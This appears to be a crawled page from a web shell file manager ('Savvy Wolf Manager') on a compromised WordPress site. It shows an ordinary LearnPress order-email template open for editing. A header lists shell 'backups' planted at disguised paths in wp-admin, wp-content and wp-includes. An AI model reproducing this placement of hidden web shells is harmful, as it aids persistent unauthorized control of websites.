Backups Created:
/home/teltatz/public_html/wp-admin/admin-wolf.php
/home/teltatz/public_html/wp-content/edit-wolf.php
/home/teltatz/public_html/wp-includes/widgets/class-wp-wolf-widget.php
Savvy
W
olf -
MANAGER
Edit File: order-items-table.php
<?php /** * Template for displaying the order information and items details. * * @author ThimPress * @package LearnPress/Templates * @version 3.0.0 * @editor tungnx * @modify 4.1.3 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * @var LP_Order $order */ if ( ! isset( $order ) ) { error_log( 'Invalid params on ' . __FILE__ ); return; } $items = $order->get_items(); if ( ! $items ) { return; } $email_content = ''; if ( $order->is_manual() ) { $user_ids = $order->get_user_id(); if ( is_array( $user_ids ) ) { $email_arr = []; foreach ( $user_ids as $user_id ) { $user = get_user_by( 'ID', $user_id ); if ( $user ) { $email_arr[] = $user->user_email; } } $email_content = implode( ',', $email_arr ); } else { $email_content = $order->get_user_email( $user_ids ); } } else { $email_content = $order->get_user_email( $order->get_user_id() ); } echo '** ' . __( 'Order summary', 'learnpress' ) . " **\n"; echo '** ' . __( 'Order Number', 'learnpress' ) . ': ' . $order->get_order_number() . " **\n"; echo '** ' . __( 'Purchase Date', 'learnpress' ) . ': ' . $order->get_order_date() . " **\n"; echo '** ' . __( 'Payment Method', 'learnpress' ) . ': ' . $order->get_payment_method_title() . " **\n"; echo '** ' . __( 'Status', 'learnpress' ) . ': ' . strip_tags( $order->get_order_status_html() ) . " **\n"; echo '** ' . __( 'User Email', 'learnpress' ) . ': ' . $email_content . " **\n\n"; $count = 0; foreach ( $items as $item_id => $item ) : $course = apply_filters( 'learn-press/order/item-course', learn_press_get_course( $item['course_id'] ), $item ); if ( $count ) { echo "\n*****************\n"; } do_action( 'learn-press/before-email-order-item', $item_id, $item, $order ); echo apply_filters( 'learn-press/email-order-item-name', $item['name'], $item ); echo "\n" . sprintf( __( 'Quantity: %s', 'learnpress' ), apply_filters( 'learn-press/email-order-item-quantity', $item['quantity'], $item ) ); echo "\n" . sprintf( __( 'Cost: %s', 'learnpress' ), apply_filters( 'learn-press/email-order-item-cost', $item['total'] . ' ' . $order->get_currency(), $item ) ); do_action( 'learn-press/after-email-order-item', $item_id, $item, $order ); $count ++; endforeach; echo "\n\n+++++++++++++++++++++++++\n\n"; echo __( 'Total', 'learnpress' ) . ': ' . $order->get_formatted_order_total();